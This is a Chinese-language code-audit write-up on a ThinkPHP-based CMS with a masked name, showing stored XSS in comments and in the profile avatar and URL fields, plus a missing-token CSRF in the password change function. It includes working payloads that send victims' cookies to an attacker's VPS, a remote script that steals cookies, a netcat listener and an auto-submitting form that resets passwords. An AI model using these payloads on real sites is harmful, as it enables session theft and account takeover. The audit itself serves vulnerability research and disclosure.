├── addons(这个是个空目录)
├── admin.php(后台入口)
├── app(审计重点)
├── extend(该cms的一些插件)
├── favicon.ico(网站图标)
├── index.php(前台入口)
├── install(安装cms目录)
├── public(公共方法目录)
├── runtime(临时文件)
├── thinkphp
└── uploads(上传保存文件的目录)
/app/api/controller/Api.php
中的commentAdd()
函数大约32行左右
...... $data['fid'] = $id; $data['time'] = time(); $data['model'] = input('model'); $data['uid'] = session('userid'); $data['content'] = xss(input('content')); if (empty(input('content'))) { $this->error('内容不能为空');
}
......
虽然这里经过了xss()函数的过滤,但是可以绕过,xss()过滤函数如下
function xss($html) { $html = htmlspecialchars_decode($html);
preg_match_all("/\<([^\<]+)\>/is", $html, $ms);
print_r($ms); $searchs[] = '<'; $replaces[] = '<'; $searchs[] = '>'; $replaces[] = '>'; if ($ms[1]) { $allowtags = 'iframe|video|attach|img|a|font|div|table|tbody|caption|tr|td|th|br|p|b|strong|i|u|em|span|ol|ul|li|blockquote|strike|pre|code|embed'; $ms[1] = array_unique($ms[1]); foreach ($ms[1] as $value) { $searchs[] = "<" . $value . ">"; $value = str_replace('&', '_uch_tmp_str_', $value); // $value = string_htmlspecialchars($value);
$value = str_replace('_uch_tmp_str_', '&', $value); $value = str_replace(array('\', '/*'), array('.', '/.'), $value); $skipkeys = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload', 'javascript', 'script', 'eval', 'behaviour', 'expression'); $skipstr = implode('|', $skipkeys); $value = preg_replace(array("/({$skipstr})/i"), '.', $value); if (!preg_match("/^[\/|\s]?({$allowtags})(\s+|$)/is", $value)) { $value = '';
} $replaces[] = empty($value) ? '' : "<" . str_replace('"', '"', $value) . ">";
}
} $html = str_replace($searchs, $replaces, $html);
print_r($html); $html = htmlspecialchars($html); return $html;
}
虽然这里过滤了之后,是经过了htmlspecialchars
函数的,但是在/runtime/temp/f72adb513ce3ceecbaff74c77a58cdcf.php
中的大约第182行,会将过滤的结果进行htmlspecialchars_decode
,所以就会存在xss。如果文件无法找到,我是用phpstorm审计的,可以使用全局搜索command+shift+o
进行搜索,关键字是立即评论
......
......
......<div class="li-content" style="background-color: #f6f6f6; border-radius: 10px; padding: 10px;"><?php echo htmlspecialchars_decode($vo['content']); ?></div>
......
......
......
所以我们在任意一篇文章下面评论即可,比如我们在http://www.***cms.net/s_html_67.html
评论
Payload:
<div onwheel="setTimeout(function(){window.open('你的vps-ip:10007?'+document.cookie)}, 2000);">这个例子演示了如何将</div>
然后在你的vps上执行命令n c -lvp 10007
就可以得到cookie,这里可以得到任意人的cookie,只要他在我们的评论这里鼠标轮滚即可,我们可以用很长很长的文章,这样的话增加轮滚到的可能性
/app/api/controller/Api.php
中的homeset
函数
/*基本设置资料修改*/
public function homeset()
{ if (!session('userid') || !session('username')) { $this->error('亲!请登录');
} else { $member = new MemberModel(); $uid = session('userid'); if (request()->isPost()) {
h('phpapihomeset'); $data = $this->request->post(); $data['userid'] = $uid; $_data['username'] = xss($data['username']); if (is_numeric($_data['username']) || is_numeric(substr($_data['username'], 0, 1)) || mb_strwidth($_data['username']) < 4) { return json(array('code' => 0, 'msg' => '不能是纯数字或数字开头,一个汉字算2个字符'));
} $_data['userhome'] = xss($data['userhome']); $_data['description'] = xss($data['description']); $_data['sex'] = $data['sex']; $_data['userhead'] = $data['userhead']; $_data['userqq'] = $data['userqq']; $_data['url'] = xss($data['url']); if (cms('homemail') == 1) { $_data['usermail'] = $data['usermail'];
} if ($member->save($_data, ['userid' => $uid])) { return json(array('code' => 200, 'msg' => '修改成功'));
} else { return json(array('code' => 0, 'msg' => '修改失败'));
}
} $uid = session('userid'); $this->assign('uid', $uid);
}
}
第20行和第22行存在xss漏洞
我们先看第20行,$_data['userhead'] = $data['userhead'];
,这里是个头像上传的地方,对应的模版内容为
/app/template/pc/default/index_uid.html
大约第42行
......
......
......<article class="content-true" style="margin-top: 0px;">
<div class="imgbg">
<div class="txbg" style="background-image:url({$c['userhead']});"></div>
<div class="hßsbg"></div>
<div class="container layui-clear">
<div class="left">
<img src="{$c['userhead']}"class="person-icon">......
......
......
这里userhead的内容没有进行任何的过滤,而且是嵌入在src属性里面的
payload:
x" onerror=s=createElement('script');body.appendChild(s);s.src='http://你的vps-ip/4.js';<!--
4.js的内容如下
var image=new Image();
image.src="http://你的vps-ip:10006/cookies.phpcookie="+document.cookie;
然后我们访问该用户的个人主页http://www.***cms.net/uid_6.html
,就可以得到cookie了
上文中的/app/api/controller/Api.php
中的homeset
函数第22行
$_data['url'] = xss($data['url']);
存在xss漏洞
这里虽然有xss函数过滤,但其实等于没有过滤,因为这里xss函数是过滤标签里面的东西,我只要传入的不是标签,就不存在过滤
function xss($html) { $html = htmlspecialchars_decode($html);
preg_match_all("/\<([^\<]+)\>/is", $html, $ms); $searchs[] = '<'; $replaces[] = '<'; $searchs[] = '>'; $replaces[] = '>'; if ($ms[1]) { $allowtags = 'iframe|video|attach|img|a|font|div|table|tbody|caption|tr|td|th|br|p|b|strong|i|u|em|span|ol|ul|li|blockquote|strike|pre|code|embed'; $ms[1] = array_unique($ms[1]); foreach ($ms[1] as $value) { $searchs[] = "<" . $value . ">"; $value = str_replace('&', '_uch_tmp_str_', $value); // $value = string_htmlspecialchars($value);
$value = str_replace('_uch_tmp_str_', '&', $value); $value = str_replace(array('\', '/*'), array('.', '/.'), $value); $skipkeys = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload', 'javascript', 'script', 'eval', 'behaviour', 'expression'); $skipstr = implode('|', $skipkeys); $value = preg_replace(array("/({$skipstr})/i"), '.', $value); if (!preg_match("/^[\/|\s]?({$allowtags})(\s+|$)/is", $value)) { $value = '';
} $replaces[] = empty($value) ? '' : "<" . str_replace('"', '"', $value) . ">";
}
} $html = str_replace($searchs, $replaces, $html); $html = htmlspecialchars($html); return $html;
}
而且这里对应的模版是/app/template/pc/default/index_uid.html
......
......
......<div class="right"><a href="http://wpa.qq.com/msgrd?v=3&uin={$c['userqq']}&site=qq&menu=yes" class="addqa" target="_blank"><i class="iconfont icon-QQ"></i>联系Ta</a><a href="{$c['url']}" class="addqun" target="_blank">访问我的链接</a></div>......
......
......
刚好在a
标签的href中
payload:
javascript:window.location.href='http://你的vps-ip:10007?'+document.cookie
然后访问http://www.***cms.net/uid_6.html
,点击访问我的链接,即可触发xss
/app/api/controller/Api.php
中的homepass函数
/*修改密码*/
public function homepass()
{ if (!session('userid') || !session('username')) { $this->error('亲!请登录');
} else {
h('phpapihomepass'); $member = new MemberModel(); $uid = session('userid'); $key = 'www.***cms.com'; if (request()->isPost()) { $data = $this->request->post(); $password = input('password'); if (input('password') == input('passwords')) { $datam['password'] = jiami($password, 'ENCODE', $key, 0); if ($member->save($datam, ['userid' => $uid])) { return json(array('code' => 200, 'msg' => '修改成功'));
} else { return json(array('code' => 0, 'msg' => '修改失败'));
}
} else { return json(array('code' => 0, 'msg' => '两次输入的密码不一致'));
}
}
}
}
这里并没有设置token,导致攻击者可以利用受害者的cookie去进行修改密码(受害者只需点击链接即可)
poc:
csrf.html
<html><body><form style="display:none;" name="px" method="post" action="http://www.***cms.net/api_api_homepass.html">
<input type="hidden" name="password" value="123456" />
<input type="hidden" name="passwords" value="123456" />
<input type="submit" value="Submit request" />
</form><script>document.px.submit();</script></body></html>
当受害者在登录状态下,并且访问了csrf.html
之后,就会被修改密码
这里其实可以打xss+csrf组合拳,这样的话,可以让危害更大,xss直接修改别人的密码,它不香吗~
刚入坑审计,这是审计的第2个cms,目前就是靠黑盒测试去找功能点,然后全局搜索关机字,比如url中的关键字,网页返回包的关键字来找到代码的controller
部分,然后对函数进行回溯,看是否可以绕过之类的。对于新手审计,我觉得还是要仔细通读代码,累积经验,尽量少使用工具去扫,耐心、仔细的去读完一个cms,就会有许多收获。文章中有不足和错误的地方还望师傅们指正。
本文作者:星盟安全团队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/133746.html